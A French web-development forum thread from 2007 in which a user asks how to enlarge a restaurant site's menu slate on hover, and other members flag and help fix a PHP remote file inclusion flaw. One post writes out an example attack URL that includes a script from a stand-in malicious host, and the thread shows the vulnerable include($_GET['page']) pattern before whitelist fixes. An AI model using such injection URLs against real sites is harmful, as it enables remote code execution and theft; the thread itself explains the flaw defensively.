Comment puis je agrandir un texte et son image associée

Répondre


Cette question est un moyen d’empêcher des soumissions automatisées de formulaires par des robots.
Smileys
:D :) :( :o :shock: :? 8-) :lol: :x :P :oops: :cry: :evil: :twisted: :roll: :wink: :!: :?: :idea: :arrow: :| :mrgreen: =D> #-o =P~ :^o :non: :priere: 8-|
Voir plus de smileys
  Revue du sujet
 

  Étendre la vue Revue du sujet : Comment puis je agrandir un texte et son image associée

par Ripat » 13 nov. 2007, 16:08

Les piratages par include() arrivent tous les jours:
http://forum.debian-fr.org/viewtopic.php?f=3&t=10801

Si tu n'as pas besoin de faire des includes() hors localhost, mets déjà ta directive allow_url_include à off dans le php.ini! Mais rien ne t'empêche, malgré ça de tester les variables GET et POST. Question de discipline de base.

par Berzemus » 13 nov. 2007, 15:32

ah, certes, c'est original aussi ^-^

C'est bien grâce à "include($pageOK[$_GET['page']]);)" puisque au final la valeur est entrée en dur dans le script.

Mais je connais pas les tableaux dans les moindres méandres pour certifier qu'ils ne puissent être manipulés..

par alaingpl » 13 nov. 2007, 14:56

Daccord, j'ai compris mais si je fais ça j'ai la même protection, non ?
<?PHP // pages autorisées
  // ----------------------------------------------------
  $pageOK = array('restaurant.php' => 'restaurant.php',
  	             'form_mel.php' => 'form_mel.php');

  // On teste que le paramètre d'url existe et qu'il est bien autorisé
  // -----------------------------------------------------------------
  if ( (isset($_GET['page'])) && (isset($pageOK[$_GET['page']])) ) {
    include($pageOK[$_GET['page']]);   // Nous appelons le contenu central de la page
  } else {
    include('accueil.php');   // Page par défaut 
  }

par Berzemus » 13 nov. 2007, 14:44

Si tu agis comme ceci:

url= ?page=acceuil.php
suivi de
include($_GET['page'])

Des malfrats peuvent manipuler la variable (vu qu'elle est directement visible dans la barre d'adresse), inclure un autre script qui exécutera un code louche, et tenteront de récuperer mots de passe, accès, ou simplement modifier le contenu de tes fichiers.

Par exemple:
url = ?page=http://addresse/monscriptmechant.php?

(le dernier point d'interogation est une question technique, inutile ici).
Tu vois ? Hop, piraté.

Et le script de cyrano évite cela.
(bien sur, il se peut que des protections évitent l'include de scripts hors-domaine, mais mieux vaut éviter de donner l'idée)

par alaingpl » 13 nov. 2007, 13:03

Merci. Autant pour moi j'aurai du le voir mais j'ai entièrement fais confiance au script de Cyrano.

Par contre je reste perplexe :
Dans la barre d'adresse s'affiche désormais :

Code : Tout sélectionner

http://localhost/index.php?page=9
Soit c'est bien mais quel est l'intérêt contre le piratage par rapport à ce type d'adresse :

Code : Tout sélectionner

http://localhost/index.php?page=page_menu.php
Je n'arrive pas à comprendre où se situe le mécanisme de la correction de faille entre ces 2 adresses.

Si quelqu'un peut éclairer ma lanterne :idea:

par Berzemus » 13 nov. 2007, 11:47

Je réponds au sujet du switch:

L'adresse est bonne !! (sisi, je jure)

C'est juste l'accès à la variable qui ne l'est pas. c'est $_GET et non pas $GET.

La première ligne doit donc être
$page1 = isset($_GET['page']) ? $_GET['page'] : 1 ; 

par alaingpl » 12 nov. 2007, 23:54

Pour une meilleure visibilité je poste en 2 fois :

Pour le mail j'ai recopié cette fonction dans une revue traitant du PHP :
function checkmail ($var) {
if (preg_match ("#^[a-z0-9][-a-z0-9_.]*@[-a-z0-9_.]+\.[a-z]{2,4}$#i", $var))
	return true;
else return false;
 }
 if (checkmail($_POST['mail'])) $mail=$_POST['mail'];
 else	$mail='[email protected]';


$nom=stripslashes($HTTP_POST_VARS['nom']); 
$mail=stripslashes($HTTP_POST_VARS['mail']); 
$objet=stripslashes($HTTP_POST_VARS['objet']); 
$message=stripslashes($HTTP_POST_VARS['message']); 
 
Elle me semble correct en matière de sécurité, du moins c'est ce qui était indiqué.

par alaingpl » 12 nov. 2007, 23:51

Merci à Berzemus de m'aider pour la sécu:

Je suis allé sur le post que tu m'as indiqué et si j'ai bien compris j'ai fais cela :
$page1 = isset($GET['page']) ? $GET['page'] : 1 ; 
switch($page1) 
{  
	
    case 10: 
        $page = 'page_menu.php'; 
        break; 
		
	case 9: 
        $page = 'page_restaurant.php'; 
        break;
	
	case 8: 
        $page = 'page_acces.php'; 
        break;
		
	case 7: 
        $page = 'page_contact.php'; 
        break;
		
	case 6: 
        $page = 'verif_mel.php'; 
        break;
	
	case 5: 
        $page = 'verifemail.php'; 
        break;
	
	case 4: 
        $page = 'livreor/aff_livre_or.php'; 
        break;
		
	case 3: 
        $page = 'livreor/livre_or.php'; 
        break;
		
	case 2: 
        $page = 'livreor/verif_livre_or.php'; 
        break;
		
  	case 1: 
    default: 
        $page = 'page_accueil.php'; 
   
} 
include($page); 
?> 
Par contre je ne vois pas du tout comment ecrire le lien vers les différentes pages . J'ai écrit :

Code : Tout sélectionner

<a href="http://localhost/index.php?page=9">Restaurant</a>
mais bien sur ça ne fonctionne pas.

1 : Est ce que le switch est correct ?
2: Comment dois je écrire mon lien ?

par alaingpl » 12 nov. 2007, 22:57

Le hic c'est que je ne connais pas du tout le language Javascript. Par contre je peux me débrouiller en css.

Donc s'il y a une solution en css, html ou php je suis preneur. Merci quand même.

par Cyrano » 12 nov. 2007, 22:17

ça doit être possible en JS, mais ça risque d'être moche, puisque l'image est assez petite, et ça risque de pixeliser.
Sauf si le javascript fait apparaître une image plus grande par dessus en jouant sur la propriété display et que cette image plus grande est positionnée convenablement via un CSS.

par Berzemus » 12 nov. 2007, 22:09

Tu as de la chance, on vient d'en parler:
http://www.phpfrance.com/forums/voir_sujet-34094.php

Cyrano y expose un méthode des plus recommandables.

Pour ce qui est du mail, je n'ais pas de souvenir d'un sujet particulier, il faudra la mémoire d'un plus ancien pour ça..

par alaingpl » 12 nov. 2007, 19:24

Peux tu m'en dire un peu plus en ce qui concerne ces failles et comment je peut y remedier ?

Je sais que le sujet est vaste mais bon...

par Berzemus » 12 nov. 2007, 18:08

ça doit être possible en JS, mais ça risque d'être moche, puisque l'image est assez petite, et ça risque de pixeliser.

Je conseillerais de simplement agrandir l'ardoise, l'internaute n'est pas censé savoir qu'il faut naviguer dessus pour l'afficher en plus grand. Le mieux, c'est qu'il puisse lire dés qu'il arrive sur le site.

Au fait:
index2.php?page=accueil.php
On dirait que tu as une fameuse faille de sécurité la, une porte ouverte aux apprentis-pirates..

Et est-ce que le formulaire de contact est bien protégé ? Sinon ça risque vite de tourner au cauchemar.

Comment puis je agrandir un texte et son image associée

par alaingpl » 12 nov. 2007, 16:28

Bonjour,

J'ai réalisé un site pour un ami restaurateur dans lequel une ardoise présente les suggestions du jour.
Cette ardoise a été réalisée de la façon suivante :

code css :

Code : Tout sélectionner

#zone_de_texte_left { background-image:url(img/ardsug2.png); background-repeat:no-repeat; float:left; width:129px; height:255px; padding:40px 10px 15px 10px; margin-top:15px; margin-left:15px; margin-right:0; margin-bottom:auto; color:#FFFFFF; text-align:center; font-style:italic; font-family: "Comic Sans MS",Arial, "Times New Roman"; font-size:xx-small; }
Le texte est en bd, appelé par une requête dans le fichier menuj.php qui lui même est en include dans mon fichier index.php. L'architecture du site est en pseudo - frames.

Si vous souhaitez voir l'ardoise : http://www.lameresimone.com

Je souhaite que lorsqu'un visiteur passe avec la souris au dessus de l'ardoise celle - ci s'agrandisse. J'ai essayé plusieurs solutions sans succès.

Merci d'avance des pistes et des conseils que vous pourrez m'apporter.